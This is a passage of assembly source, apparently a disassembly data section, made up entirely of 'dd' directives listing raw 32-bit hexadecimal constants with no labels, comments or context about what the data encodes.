0E474B118h, 846C1614h, 4F268BF0h, 0D2001180h, 0AD44C4DDh dd 276F3CB7h, 0FC773E00h, 10428EB2h, 0E9894A00h, 931675F2h dd 157A25h, 6950C7B1h, 23ABC28Fh, 5D400200h, 53992444h dd 0DF785C41h, 0D2F63200h, 0D49B0309h, 864630Fh, 69FF000Bh dd 44CFCCh, 0B94B851Ah, 1452965Bh, 0E6BA5600h, 13505358h dd 9C780089h, 4AA574F1h, 310229BEh, 8D2A0746h, 45244054h dd 37120143h, 3570A985h, 7378F456h, 74160800h, 9CAE0D24h dd 9A5E0EE4h, 834023A0h, 0BF42AAA9h, 21D62D00h, 0C5521ACAh dd 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h, 3C20614h dd 0A6F0997h, 0CAA11A9Ch, 983DF005h, 165C6B7Bh, 15C500E7h dd 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h, 744A6000h dd 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h, 0B40A7200h dd 9427F8FCh, 807100E0h, 3C6C37D2h, 0E20085F5h, 0FB876B8Dh dd 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h, 0EF4903E8h dd 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h, 7807431Fh dd 94FBA538h, 56E2B800h, 0D25A000Eh, 0E4471019h, 66037488h dd 0A1E614C5h, 0F26F935h, 0A8AEB40h, 2851001Ch, 90135D1Dh dd 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h, 28037575h dd 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h, 0D344E7B1h dd 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h, 4EE05DAFh dd 3E7EB089h, 33705700h, 3593D588h, 97B50369h, 2C5F256Fh dd 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh, 882FB580h dd 4200D621h, 0D0396147h, 675B0Ah, 689FC274h, 282D35D2h dd 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch, 1E3700F1h dd 96303611h, 6800C020h, 80284D53h, 979EA5h, 184FEA8Fh dd 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h, 0D025608Ah dd 9B2341BEh, 9864B600h, 8B16116Ch, 53040748h, 62F5AB7Dh dd 9E02368h, 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh, 89AA00A3h dd 40191802h, 58001A10h, 32C78E66h, 0B92B16h, 68444260h dd 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h, 89D02B09h dd 0E299868Ah, 688BD100h, 98FF85F6h, 0C4C500F7h, 54913CA3h dd 41003BEBh, 0A5C70334h, 1DEE6151h, 40AD5708h, 8045A268h dd 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch, 0CEB28B61h dd 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh, 51EB002Fh dd 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h, 5E7600B5h dd 6240FF38h, 0E800C1C2h, 8474DB42h, 72011Fh, 0A048F723h dd 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh, 90680015h dd 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h, 0FCBC015Dh dd 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h, 7E1960Bh dd 2F571327h, 51B8E010h, 9E3E18C0h, 21C026Dh, 0E06FE80Bh dd 4E1660h, 0BA673021h, 0E52E70A4h, 8CBBE000h, 85340F0Ah dd 0E3C001EEh, 22A05CA1h, 18C4D428h, 2052E51Eh, 2B27C880h dd 0EFD00Ah, 0BE848D4Fh, 0C7751D83h, 0A5F2D700h, 0FEF40E48h dd 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh, 4B04E600h dd 0B057A384h, 972D00E1h, 70895130h, 94900853h, 5C81B800h dd 0EA18212Bh, 4352008Eh, 9747DE1Dh, 95009436h, 0A1F146A9h dd 9685502h, 927C86DDh, 0BC210B80h, 563C75FDh, 0C289F3Dh dd 0E91EF8C0h, 79ECA419h, 30C700F5h, 0AFAA50BCh, 4C00C641h dd 0B82386D6h, 3ACF28h, 6760C5F0h, 169A310Dh, 0FA4FFF26h dd 50808303h, 99E8C83Bh, 0CEA0078h, 0FF892EE4h, 88A0877Bh dd 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h, 0D36948B9h dd 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h, 5B30007Dh dd 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh, 0FD250016h dd 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h, 21B3EDEBh dd 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch, 90D4B957h dd 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh, 1C781532h dd 328890Ah, 18452059h, 1DE8F0FBh, 4A7AC7EAh, 80006BF6h dd 1CC20978h, 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh, 103D2583h dd 0A3750F44h, 6467D462h, 0C71103Ch, 1700EAB9h, 0CBD53E13h dd 0BA3B009h, 6167DD1h, 404B5A07h, 0C9250C15h, 3910171Eh dd 0B56CE140h, 51B7C4h, 6348921Eh, 82A5083Dh, 8014773Ch dd 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h, 3B72DFEEh dd 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh, 0FC4400A4h, 7068D9FEh dd 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h, 0E932BB3Ch dd 150C181Dh, 4FCB7A40h, 0ED3AC71h, 0C2C38449h, 37568D80h dd 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h, 8528A0FFh dd 0A8B20100h, 0B4D7504Ch, 6BC00ABh, 0CAC13994h, 14003589h dd 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh, 39E6B00h dd 0CB612CCAh, 0FA3D003Bh, 99407422h, 4F1E086Dh, 2B001B93h dd 0E78253E3h, 9550247Ah, 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh dd 0ACB3C7CBh, 40CC4830h, 29A300A2h, 1D880201h, 17003A8Ch dd 28262CB8h, 0A0BD98h, 0BC07C341h, 84CC501Ah, 9CDB4E00h dd 635EAFE9h, 2E47AE3h, 0C95A8A26h, 70C3ED7Fh, 5EC0CB98h dd 0AC9E2C3Dh, 900480B6h, 5AC02D89h, 98ECCEF6h, 586179F5h dd 2008DBDh, 898F0C6Dh, 0FC002938h, 4F63CE5Eh, 0A32630h dd 0C273A517h, 25228A6Bh, 0F90068EAh, 0CCEAD723h, 6AFDE6h dd 8AE7C928h, 0A581CE09h, 2CE6DA79h, 87170501h, 350304CCh dd 0C037C03Bh, 3800E87Fh, 0C7014EBDh, 3F7794h, 0AC9E6C7Bh dd 97E548AEh, 68335500h, 720AF2C1h, 0D4C40BC8h, 80D753E7h dd 711F1C24h, 766C0012h, 4BBC324Fh, 0A50014D1h, 0C8D8D707h dd 6457EAh, 1328F7E4h, 8FCA2443h, 763D2673h, 62960090h dd 0AFD394FDh, 0F3010069h, 672710B8h, 0DEFC5B9Ah, 250066F0h dd 1904532Dh, 451586h, 96BAB30Eh, 4F52A985h, 1DC2F94Ch dd 0B05F07EBh, 7800CA2Ch dd 17883CE5h, 5B2F0769h, 203064C0h, 0ADA454A8h, 0B9E5A207h dd 8DC71087h, 6E2F8190h, 2D2B00BEh, 0CD3788B0h, 4C025A8Ch dd 0CF584A1Ah, 52F080A7h, 0C6F87Bh, 0D1940584h, 4A0F7D44h dd 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h, 6A5FD289h dd 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h, 32A7E16h, 64971310h dd 12E0ABBDh, 930C74Ch, 0B1C8CC8Dh, 7645002Ch, 8697E23Fh dd 2A0013EBh, 52ACF19Fh, 50F9D4h, 0A9837D55h, 0A87A1F6Bh dd 0B24248h, 0A7C3DE2Ah, 3C11297h, 0F0072809h, 0C50AEEh dd 521502E1h, 0A012DA55h, 8301A6A5h, 9CFF305Ch, 3C1B7BCCh dd 7FC1486h, 1CF83101h, 0C21AF052h, 0EA01C1D0h, 0B52C0318h dd 0EBE99473h, 0AD5CE0h, 0A549774Bh, 0AE752E08h, 0D65BE900h dd 2DAB5612h, 1657824h, 0F85AD836h, 0E43C5EC7h, 0E00B414h dd 95FFE843h, 20A889h, 8D5CEA9Bh, 0C8B3A7F6h, 7275C312h dd 0C0331FEFh, 11801CA3h, 8474100Bh, 9E7E8C3Bh, 30007958h dd 86C3298Ah, 34220064h, 6C2BC187h, 1C00237Fh, 0B393BA8Eh dd 3CF5F84Ah, 0F513E5h, 1930F2E8h, 488A3C53h, 6A0012FAh dd 0AE16D41Ch, 0D641F8h, 172DF2BCh, 0F7143A03h, 6F88C401h dd 10086977h, 7E297Ch, 20C58319h, 0DC7E1C5Ah, 0AAB8C407h dd 0A0B0F5D3h, 1F928E08h, 408B7552h, 0D74D2C14h, 0F81FE297h dd 87814E10h, 64C10508h, 7256E4h, 0BE13D44Fh, 331C9D54h dd 6B007F71h, 0F7E623D3h, 92EB8F0h, 52843CBAh, 10213C87h dd 958F90B9h, 91921D0Bh, 80B68B09h, 98048BEFh, 396D39D3h dd 0F3D55580h, 523C76B9h, 0DBC0E00h, 510203C4h, 0C23B3E0Ah dd 7BD31080h, 40143B0h, 0EB349A1Eh, 0F8E76783h, 14B3CF60h dd 8305F898h, 750F00FBh, 0ECCC72B7h, 1982BCEh, 829F3Eh dd 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h, 0C80238D4h dd 30B4D26Ch, 4201E022h, 34990004h, 8C5F3FB8h, 7E001F0Ch dd 9AA2FF24h, 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh, 0F600DA3Bh dd 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh, 80B9101h dd 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h, 28CD4098h dd 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh, 89F8210Dh dd 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h, 0D017D93Ch dd 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh, 20A1824Ch dd 7E023AE0h, 0B583C700h, 8C2A8D58h, 27230054h, 0F2A5299Fh dd 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h, 5134C3A6h dd 5F60FF01h, 70E0609h, 3E4287D8h, 25010215h, 911F6850h dd 0DB83E055h, 2FB97B00h, 567E7ADAh, 0C89C074Dh, 1F5D5CE0h dd 38C75060h, 0EFE8588Ah, 5A260D01h, 32205F74h, 15A5B340h dd 10240009h, 438D55C1h, 3600352Ah, 19AAA034h, 900D9EFAh dd 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h, 0E5197515h dd 0F38009D4h, 170880h, 2EAF2695h, 4CA7101Ch, 0EC3C2207h dd 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h, 30500600h dd 6BE6AEBCh, 29E00DBh, 0A02174C7h, 0B70B0F1Ah, 80A41840h dd 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h, 34502CBEh dd 5864BBh, 698592A8h, 94A791DBh, 9522721Eh, 8EF6BD80h dd 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h, 55437850h dd 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh, 0B7C766EBh dd 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h, 0F46F2439h dd 0FF00FBFCh, 6DA1876h, 1D8E7F78h, 40CF8B7Bh, 0D04AA613h dd 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h, 4C358B80h dd 214A7E64h, 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h, 0C54F07B2h dd 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h, 167F425h dd 2F2DC55Fh, 0F59E8351h, 6688F405h, 53153707h, 24E57593h dd 8B3BB0C0h, 5AF10728h, 0E0609749h, 365D3857h, 3F529B00h dd 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah, 21565762h, 0EA73AE00h dd 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh, 0C0318E2Fh dd 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah, 79642FECh dd 81D817h, 0B6B2ACF4h, 2B334DCCh, 54B31D06h, 3BC51E0Ch dd 119D211Ah, 89190034h, 0D1AD0868h, 2CA92300h, 4930900Ah dd 0D8C10F96h, 7F407E83h, 70687705h, 0E0185E00h, 453020C8h dd 28663B40h, 2B344207h, 1525400Ch, 570F12BEh, 0FD23BB8Eh dd 0BA9FC783h, 0B745D0C9h, 8FF092h, 0BF06CAB6h, 0C0DE2090h dd 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h, 561F6119h dd 88000C49h, 35941D55h, 89B0047h, 66929EA4h, 2116739Dh dd 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah, 553B9894h dd 0B12400CAh, 589C5172h, 3C0F7DEBh, 6A00F277h, 0CE70DD5Ah dd 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh, 0DA4714F2h dd 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h, 0B86F28AAh dd 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h, 8CF05290h dd 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h, 0A09F13C3h dd 88F680A7h, 0E800B0ECh, 66A05F1h, 2413CE5Eh, 0AD6C7Ch dd 59A94E82h, 0A20E9048h, 40A14434h, 2058B9A4h, 5EA5008Ah dd 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h, 2E745E0h dd 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h, 820CD054h dd 8AD5B080h, 24B70037h, 49E65906h, 630061BFh, 0AE121D58h dd 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh, 0C18500CFh dd 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh, 1C5DCAFAh dd 3E9E055h, 0A468D900h, 81D4B785h, 0C4900029h, 21718A23h dd 38054424h, 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h, 0A5949E51h dd 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch, 0A8DBC816h dd 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h, 0DA534540h dd 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h, 744C8EEh dd 23E2475Ch, 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh, 0BE644AC2h dd 84F5403Eh, 4B345C56h, 50B8BB00h, 60318925h, 7327EB00h dd 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h, 10739BC7h dd 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h, 0C4D9F5C2h dd 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h, 0E0221E75h dd 7542320h, 8A53C379h, 70818027h, 9300B57Ah, 9A61F265h dd 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h, 0DC25E1Fh dd 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h, 49EAAF97h dd 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h, 52510F00h dd 9FB35D2h, 0E68E009Ah, 0A6E9661h, 3000C481h, 604FC319h dd 158D13h, 23515092h, 0AD90BC10h, 0A38A900h, 21DFDAEh dd 89D838FEh, 0C108071Eh, 14100E0Ch, 207D2016h, 0E09FBE70h dd 7A706014h, 0C0A00380h, 910129E0h, 44022290h, 89040300h dd 18251505h, 310E214h, 84820636h, 0A9309E2h, 0CB30BA3h dd 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh, 0E56D18Bh dd 5780882Eh, 44A3900h, 53063572h, 0A09DF8BEh, 188A00B8h dd 5C882840h, 0AA009CADh, 5808420Bh, 0E6D8B7CBh, 318107EEh dd 0E04FFFE7h, 47AFCC7h, 0FE031B00h, 5CD72F89h, 783B6014h dd 9A0FD273h, 27017279h, 0CE2B1080h, 70D4E8D3h, 790101A4h dd 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh, 32DC1F6Ah dd 7FC0AD1Fh, 0EBBC8100h dd 7911ABBh, 17410D88h, 8C1E6082h, 29000525h, 2402D6F8h dd 0C82D66h, 505553B4h, 22579856h, 0F00FB901h, 612EA2AAh dd 0B89D8DE0h, 0F6810054h, 0BC8BABF3h, 3E00E92Fh, 0F4EE3B13h dd 5E76F0h, 5A8FD15h, 8C5C8B38h, 4CFC831Ch, 40430800h dd 6089C53Bh, 0B9EBE819h, 0D006117h, 0F7282474h, 7440698h dd 62336815h, 0C71CD0FFh, 17CC849h, 890080ECh, 656A8D18h dd 0E0142708h, 2C340696h, 0D403E0D3h, 13DE8100h, 0C43EF101h dd 5187000Fh, 30B5788Eh, 0A870EC7Eh, 33C5D00h, 10F983C3h dd 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh, 0ED9CE6C1h dd 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh, 0D88A28FBh dd 0DAE9B9h, 0BD766C89h, 3981BF34h, 0BB661007h, 89FB0714h dd 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh, 4A00A284h dd 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h, 0F049800h dd 4295628Dh, 0FF960367h, 320DC0B6h, 26985B98h, 1F046973h dd 23824B11h, 61C98B80h, 0F13B1EEDh, 26807EB4h, 0C12FC88Ah dd 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h, 373B0D87h dd 0BCE2B328h, 47210A1Fh, 1F4C5E67h, 0FAC89741h, 0B0AD3800h dd 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h, 8AA0EF30h dd 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h, 14CA6AE2h dd 0DB00950h, 0B680F8C2h, 7817AEEFh, 7334F900h, 2EFC27D0h dd 1FC4E24Ch, 4280CA2Bh, 0E325DC49h, 5CA65AC0h, 64A42201h dd 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh, 0EBD38700h dd 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h, 30143F00h dd 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h, 0DC110D12h dd 2EF03C02h, 0E8B0F00h, 843079C9h, 896F00FAh, 961C410Ah dd 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h, 8E8BC107h dd 31745389h, 598125D0h, 6212F400h, 4068D233h, 70BCE6B7h dd 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h, 3E3DAh dd 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h, 0E8001FD1h dd 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h, 13900085h dd 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h, 81DEB9Bh dd 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h, 0E3AD2C03h dd 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh, 25013C0h dd 527E5411h, 5295800h, 0C4860CDh, 0FAA6005Ch, 0E8AACA81h dd 967D8F18h, 27315F1Fh, 8B1103C3h, 8D29C8D9h, 0CA6B0069h dd 71CDD1C1h, 8A0055D0h, 1D4899BCh, 136BB28h, 6A2C53ABh dd 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h, 8DED7213h dd 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h, 0D200F35h dd 2C35943h, 6D316C62h, 8840098Dh, 15017310h, 5203EDF3h dd 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h, 28007560h dd 59A66A7Fh, 0C08318h, 4E7EF203h, 0F5FE8111h, 48C07DE0h dd 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h, 96821100h dd 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh, 0C6501700h dd 46E024A3h, 71480F65h, 0FC020EDh, 7B2738Ch, 920EB700h dd 104B053Dh, 0AB3A0052h, 24848D0Ah, 0A4003B29h, 5045578Bh dd 7C0C222Fh, 311718Ch, 3546D251h, 0BE02BC0h, 640083C6h dd 80DD98DFh, 0FA0451BCh, 2E7505CDh, 0C005DAFDh, 2407EB80h dd 39331B48h, 651200F5h, 0BE54D21Ch, 0E0587D6Eh, 3D104C88h dd 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h, 0A0B8EEF0h dd 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh, 97908Dh dd 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh, 0E2324E52h dd 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h, 2303C5A7h dd 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h, 1E88BF1h dd 971129Ch, 8D0600C1h, 0A3422E31h, 6500700h, 21BF145Eh dd 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h, 0E9AB1000h dd 32729B23h, 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h, 9A1501F5h dd 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh, 0C5CDD0C7h dd 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h, 80C092DAh dd 0F4887Ah, 0D741529Ah, 0CA03140Bh, 89770600h, 868A2411h dd 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch, 74F07EB8h dd 0FF0083F6h, 715A7203h, 1E8D0502h, 44FD6Fh, 4163166h dd 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh, 314A2789h dd 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh, 6A733882h dd 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h, 0E74387CDh dd 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h, 0A86C9A14h dd 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h, 25B3AB45h dd 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah, 5AB5629Eh dd 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh, 1552C862h dd 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h, 40B00644h dd 8D413914h, 3B381D8Bh, 0DE9707C2h, 2BD00024h, 8A3C40D1h dd 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h, 0C9F0BD13h dd 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h, 0F286Eh, 0C6AFC382h dd 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h, 0AB00E428h dd 69B03CE8h, 850341A3h, 78843888h, 0CB47C370h, 441007C4h dd 0F0BB1173h, 1D4BDD82h, 9B00D271h, 27E75AFDh, 0D190C3h dd 406A8726h, 1E100668h, 84E3F900h, 2C1F62BAh, 758EB002h dd 307400F7h, 2E258380h, 0B53CF18Bh, 0A8178044h, 15E1A7FCh dd 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h, 5FD73B11h dd 7C543700h, 767E532Fh, 0B097FCEh, 57428758h, 30ABA580h dd 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h, 0C8807F8h dd 743D6224h, 4053FE00h, 70358B77h, 31300CEh, 0EB0D68CCh dd 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh, 0D0FC5F12h dd 0C6A63F00h, 0EFF91708h, 46F20Bh, 0FCF80FDh, 0B8C1D9B7h dd 83F2B900h, 2743EC7h, 822F0087h, 2757E181h, 0D900C958h dd 0C13BE440h, 1F7726h, 0DD021D6Eh, 0FA18D2CBh, 0BA965307h dd 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h, 0BA754F81h dd 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h, 0F2530094h dd 825A5B1h, 970E68B8h, 5E195DEDh, 78CB0E00h, 387225Ah dd 56824C75h, 539B425Bh, 724D45A8h, 18DB7F00h, 24945A48h dd 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh, 97ADC65Fh dd 6BC572h, 0C45B18A1h, 58A5DA88h, 95846007h, 0FC0010C6h dd 800203h, 0F3E4E938h, 11C9798h, 0C23A8300h, 0C7405674h dd 4A9300D4h, 4C35B20h, 48000D7Bh, 0DB2A5E52h, 17A95AAh dd 6F1CA5A3h, 0E8744DCEh, 0B80037D4h, 97778AE3h, 839023h dd 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh, 70291FEEh dd 9CEC0E9h, 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h, 3FF45174h dd 0EE8031CBh, 8DA6C6ACh, 821D27AAh, 14C0C3F1h, 0F5F20195h dd 5C8500F6h, 0DD54029h, 9200519Dh, 0B2523E4Bh, 3E9A776h dd 29E5F810h, 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h, 89F4B841h dd 3CE702F0h, 0B10FC458h, 8280A605h, 87453D80h, 6F936400h dd 6D37803h, 20050055h, 2608A11Bh, 44006209h, 9811B34Ch dd 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h, 541A1500h dd 0AC2EDC8Ah, 789005Eh dd 0A96C7952h, 44007C34h, 0E8170509h, 7AD95F7h, 804893D8h dd 875C05Dh, 141FCCD3h, 6C02CA3h, 18F7C62Dh, 1D890017h dd 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h, 79E3184h, 0A8363997h dd 1D803AFAh, 74300E80h, 0B8327563h, 9D607700h, 5CD24DB3h dd 580A00B9h, 649C100Bh, 840F94A7h, 20309FAEh, 42A9A824h dd 0FF011E53h, 5780405Bh, 6F646E69h, 734B7705h, 0C580DCAAh dd 1353925h, 7FE43B7Dh, 7E4F1219h, 60C5AFB0h, 0BD3822C8h dd 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h, 4E433C69h, 33F80154h dd 7542252Eh, 344E7095h, 8057900h, 2306A32h, 58700060h dd 10258050h, 4C00FCBFh, 0C9987ECBh, 0F2C1997Fh, 36BC002Bh dd 29A97B84h, 0F4F4497Ah, 0DF535700h, 48E71CBBh, 3E79722Dh dd 2E00760Ch, 95D7F2F0h, 0B5001B7Fh, 0CAFF50D3h, 0DF7126h dd 33CD9214h, 474F5455h, 6843EC0Fh, 27A0008Ch, 1A40A9h dd 7D017F2Eh, 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h dd 34568B46h, 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h dd 5FC0EC2h, 0FE120100h, 0A93CEF2h, 0FC064F09h, 0DB642ED6h dd 5B15D803h, 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh dd 7600F6F8h, 199BB82h, 7A75251Ch, 4B0A0F42h, 0C200A7D4h dd 447B57FCh, 0A38F6950h, 22AF4500h, 7EDE0930h, 1AD6482Fh dd 55F0AC00h, 0BF5405D4h, 5700A975h, 4B780C73h, 4142ABh dd 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh dd 0DE20004h, 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h dd 1ABDAB52h, 6A986280h, 2153CCA5h, 0AC73F000h, 0BE927D33h dd 0C0AE00D5h, 0C7448D3h, 2A000FE6h, 17D88384h, 749C53E9h dd 67C40044h, 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h dd 134B008Dh, 0FEF6CCA1h, 85055729h, 8CBA9A3Fh, 0C951CE80h dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch dd 0B3980A34h, 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh dd 5203A358h, 0A552200h, 1D7E664Eh, 0C7101341h, 0B0279943h dd 3CEB2806h, 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh, 0C183BE5Ah dd 0A306B326h, 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h dd 0E4B000Dh, 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h dd 4DF94C57h, 42014400h, 41920CA5h, 0B4D8BF00h, 0EB15FF60h dd 111C4C28h, 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h dd 0A0094C0Fh, 1F1C800h, 4FE83202h, 0FE0BA100h, 287C0A6Ah dd 5E49002Fh, 92981062h, 972F7908h, 9E74AFh, 3D024429h dd 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah, 458A006Ah dd 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h dd 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h dd 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h, 7DA91A7Ch dd 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh dd 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh, 5700D102h dd 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h dd 94157C57h, 17780A87h, 0F2009077h, 1252988Eh, 9C2C39h dd 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h dd 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h dd 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h 